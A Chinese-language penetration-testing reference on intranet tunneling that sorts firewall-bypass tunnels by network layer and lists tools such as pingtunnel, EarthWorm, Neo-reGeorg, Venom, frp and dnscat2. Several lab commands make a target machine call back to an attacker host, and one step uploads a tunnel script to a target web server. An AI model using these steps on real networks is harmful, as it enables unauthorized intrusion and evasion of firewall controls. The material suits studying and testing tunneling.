内网穿透
记录内网穿透的一些知识
前置知识
内网穿透
利用各种隧道技术,以网络防火墙允许的协议,绕过网络防火墙的封锁,实现访问被封锁的目标网络。
隧道技术
隧道技术是一种通过使用互联网络的基础设施在网络之间传递数据的方式。使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。隧道协议将这些其他协议的数据帧或包重新封装在新的包头中发送。新的包头提供了路由信息,从而使封装的负载数据能够通过互联网络传递。被封装的数据包在隧道的两个端点之间通过公共互联网络进行路由。被封装的数据包在公共互联网络上传递时所经过的逻辑路径称为隧道。一旦到达网络终点,数据将被解包并转发到最终目的地。注意隧道技术是指包括数据封装、传输和解包在内的全过程。
隧道分类
- 网络层隧道:ICMP等
- 传输层隧道:TCP、UDP等
- 应用层隧道:HTTP、DNS、SSH、RDP等
实战环境
在实战环境中,我们要考虑目标机器的出入网情况,有可能只允许ICMP出入网,抑或是只允许HTTP出网,我们需要视特定情况选择对应的隧道,选择反弹shell、代理或者端口转发,选择正向代理或者反向代理等等。
环境
目标机器:
- Win7
- 192.168.22.3(内)
- 192.168.33.4(外)
攻击机器:
- Linux
- 192.168.44.5(外)
网络层
icmpsh
https://github.com/inquisb/icmpsh
能通过ICMP协议反弹cmd,功能单一,反弹回来的cmd极不稳定,不推荐使用
icmptunnel
https://github.com/DhavalKapil/icmptunnel
创建虚拟网卡通过ICMP协议传输网卡流量,基于ICMP隧道的vpn,需要root权限,动静极大,不推荐使用
pingtunnel
https://github.com/esrrhs/pingtunnel
tcp、udp、socks5 over ICMP,速度快,连接稳定,跨平台,client模式不需要管理员权限即可正常使用,推荐使用
攻击机上:
1 | (可选)关闭系统默认的 ping |
目标机上:
1 | 转发TCP |
传输层
netcat
https://eternallybored.org/misc/netcat/
网络工具中的瑞士军刀,不多介绍,linux系统一般自带
powercat
https://github.com/besimorhino/powercat
powershell版的netcat
socat
https://github.com/3ndG4me/socat
具有记录转发流的功能,方便查看转发内容,需要安装
netsh
windows系统自带的网络配置工具
lcx
https://github.com/windworst/LCX
端口转发工具
NATBypass
https://github.com/cw1997/NATBypass
一款lcx在golang下的实现,更好的跨平台,更完善的文档
iox
https://github.com/EddieIvan01/iox
端口转发 & 内网代理工具,功能类似于lcx/ew,简化了命令行参数,支持UDP流量转发,更好的跨平台。
缺点:不支持监听指定IP,默认监听0.0.0.0:port,会增大暴露风险
应用层
EarthWorm
https://github.com/rootkiter/EarthWorm
十分方便的多级SOCKS代理,已经永久停止更新
正向连接
目标机上:
1 | ew_for_Win.exe -s ssocksd -l 888 |
反向连接
攻击机上:
1 | ./ew_for_linux64 -s rcsocks -l 1080 -e 1234 |
目标机上:
1 | ew_for_Win.exe -s rssocks -d 192.168.44.5 -e 1234 |
Neo-reGeorg
https://github.com/L-codes/Neo-reGeorg
重构版reGeorg,提高稳定性和可用性,避免特征检测,更新活跃
攻击机上:
1 | python neoreg.py generate -k 123456 |
上传对应的tunnel.(aspx|ashx|jsp|php)
文件到目标机上
攻击机上:
1 | python3 neoreg.py -k 123456 -u http://192.168.33.4/tunnel.php |
venom
https://github.com/Dliv3/Venom
Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具
攻击机上:
1 | ./admin_linux_x64 -lport 9999 |
目标机上:
1 | agent.exe -rhost 192.168.44.5 -rport 9999 |
攻击机上:
1 | show |
ssf
https://github.com/securesocketfunneling/ssf
支持TLS隧道
正向连接
把certs文件夹和ssfd上传到目标机上
目标机上:
1 | ssfd.exe ‐p 1333 |
攻击机上:
1 | ./ssfd ‐D 1222 ‐p 1333 192.168.33.4 |
反向连接
攻击机上:
1 | ./ssfd ‐p 1234 |
目标机上:
1 | ssf.exe ‐F 12345 ‐p 1234 192.168.44.5 |
frp
https://github.com/fatedier/frp
支持 TCP、UDP、HTTP、HTTPS 等多种协议
攻击机上配置frps.ini
1 | [common] |
攻击机上:
1 | ./frps -c frps.ini |
目标及配置frpc.ini
1 | [common] |
目标机上:
1 | frpc.exe -c frpc.ini |
nps
https://github.com/ehang-io/nps
可支持任何tcp、udp上层协议,还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端
dnscat2
https://github.com/iagox86/dnscat2
不仅可以创建DNS隧道,更是C2
dnscat2-powershell
https://github.com/lukebaggett/dnscat2-powershell
dnscat2的powershell客户端
dns2tcp
https://github.com/alex-sector/dns2tcp
TCP over DNS,即通过DNS隧道转发TCP连接
iodine
https://github.com/yarrick/iodine
IPv4 over DNS,即通过DNS隧道转发IPv4数据包
reDuh
https://github.com/sensepost/reDuh
TCP over HTTP,即通过HTTP隧道转发TCP连接,隧道不稳定
Tunna
https://github.com/SECFORCE/Tunna
TCP、SOCKS over HTTP,即通过HTTP隧道转发TCP连接和SOCKS,隧道不稳定
ABPTTS
https://github.com/nccgroup/ABPTTS
TCP over HTTP,即通过HTTP隧道转发TCP连接,数据加密,可自定义HTTP数据,对抗特征检测十分优秀,创建的隧道十分稳定,比较遗憾的是支持的web脚本类型只有aspx和jsp
Termite
EarthWorm的升级版,已经永久停止更新
ssocks
https://github.com/54Pany/sSocks
正向和反向的socks工具,可执行文件的大小很小
s5.go
https://github.com/ring04h/s5.go
go语言编写的socks服务工具,良好的跨平台特性
bridge
https://github.com/luizluca/bridge
基于http协议的端口转发
ssh
这里分享个小技巧,如果已经连上了ssh,可以输入~C来执行ssh命令
本地端口转发:
1 -L 本地网卡地址:本地端口:目标地址:目标端口
1 | ssh -CNfg -L 127.0.0.1:7777:114.114.114.114:9999 root@192.168.1.1 |
远程端口转发:
1 -R 远程网卡地址:远程端口:目标地址:目标端口
1 | ssh -CNfg -R 127.0.0.1:7777:114.114.114.114:9999 root@192.168.1.1 |
动态端口转发:
1 -D 本地网卡地址:本地端口
1 | ssh -CNfg -D 127.0.0.1:7777 root@192.168.1.1 |
构建ssh隧道的常用参数:
1 | -C 压缩传输,提高传输速度 |